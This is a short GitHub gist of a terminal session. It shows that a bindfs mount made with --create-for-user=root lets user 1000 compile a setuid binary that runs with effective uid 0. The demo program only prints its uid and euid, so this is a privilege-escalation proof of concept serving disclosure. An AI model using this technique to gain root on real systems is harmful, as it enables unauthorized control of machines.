Created
December 5, 2018 12:56
-
-
Save wjt/49ef0f22fe4d4566eab4ed2d1f2a00bd to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| $ sudo bindfs --force-user=1000 --create-for-user=root --create-for-group=root /var/tmp/real /var/tmp/fake | |
| $ cat >/var/tmp/fake/rootme.c | |
| #include <stdio.h> | |
| #include <sys/types.h> | |
| #include <unistd.h> | |
| int | |
| main (int argc, char **argv) | |
| { | |
| printf ("getuid () == %u; geteuid () == %u\n", getuid (), geteuid ()); | |
| return 0; | |
| } | |
| $ gcc -o /var/tmp/fake/rootme /var/tmp/fake/rootme.c | |
| $ chmod +s /var/tmp/fake/rootme | |
| $ /var/tmp/real/rootme | |
| getuid () == 1000; geteuid () == 0 |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment